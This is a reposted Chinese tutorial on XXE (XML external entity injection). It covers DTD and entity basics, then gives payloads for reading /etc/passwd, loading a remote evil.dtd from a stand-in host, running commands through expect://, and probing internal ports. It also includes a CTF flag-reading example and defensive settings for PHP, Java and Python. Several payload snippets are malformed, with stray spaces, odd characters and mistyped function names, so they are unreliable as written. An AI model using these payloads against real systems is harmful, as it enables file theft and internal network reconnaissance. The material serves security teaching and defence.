码迷,mamicode.com
首页 > 其他好文 > 详细

XXE漏洞基础

时间:2021-02-17 14:33:38      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:探测   目标   文章   hello   test   结构   lxml   文档   imageview   

0x00 XML基础

可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。 标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。如图所示:
技术图片

xxe漏洞与DTD文档相关。

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中重要的关键字如下:

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)
实体根据引用方式,还可分为内部实体与外部实体。

实体类别

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">

或者

<!ENTITY % 实体名称 SYSTEM "URI">

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。
实例演示:除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY name "sz">]>
<foo>
        <value>&name;</value> 
</foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
实例:外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&content;</value> 
</foo>

xxe漏洞主要是利用了DTD引用外部实体导致的漏洞

0x01 XXE漏洞介绍

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,允许引用外部实体,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE漏洞检测

先检测是否解析XML

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE hello [  
<!ENTITY name "Hello,hacker!">]>    
<root>&name;</root>

如果页面输出了Hello,hacker!,说明xml文件可以被解析。
然后检测服务器是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE test [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

0x02 XML外部实体注入(漏洞利用)

恶意引入外部实体1(读取文件)

<? xml version="1.0"?>
<! DOCTYPE a[
<! ENTITY b SYSTEM "file:///etc/passwd">
]>
<c〉&b;</c>

恶意引入外部实体2(读取文件)

XML内容:

<? xml version="1.0"?>
<! DOCTYPE a[
<! ENTITY % d SYSTEM "http://xxx. com/evil. dtd">
%d;
<c>&b;</c>

DTD文件(evil.dtd)内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

恶意引入外部实体3(读取文件)

XML内容:

<? xml version="1.0"?>
<! DOCTYPE a SYSTEM"http://xxx. com/evil. dtd">

DTD文件(evil.dtd)内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

执行系统命令

<? xmL version="1.0"?>
<! DOCTYPE ANY[
<! ENTITY xxe SYSTEM"expect://id">
<x>& xxe;</x>
EOF; 
$data=simplexml_load_string($xml); 
print_r($data); 

探测内网端口

<? xml version="1.0"?>
<! DOCTYPE ANY[
<! ENTITY XXe SYSTEM"http://192.168.1.1:81/mark4z5">
<x>& xxe;</x>
EOF; Sdata=simplexml_1oad_string($xml); print_r($data);

该例子是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

0x03 实例

http://web.jarvisoj.com:9882/
技术图片

源码:
技术图片

抓包发现客户端以json形式发送了数据,服务端返回了客户端的内容
技术图片

利用XXE外部实体
技术图片

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ENTITY file SYSTEM "file://home/ctf/flag.txt">
]>

<xxe>&file;</xxe>

0x04 XXE漏洞修复与防御

1.使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

参考资料:https://security.tencent.com/index.php/blog/msg/69
https://thief.one/2017/06/20/1/

XXE漏洞基础

标签:探测   目标   文章   hello   test   结构   lxml   文档   imageview   

原文地址:https://www.cnblogs.com/kevens/p/14401985.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!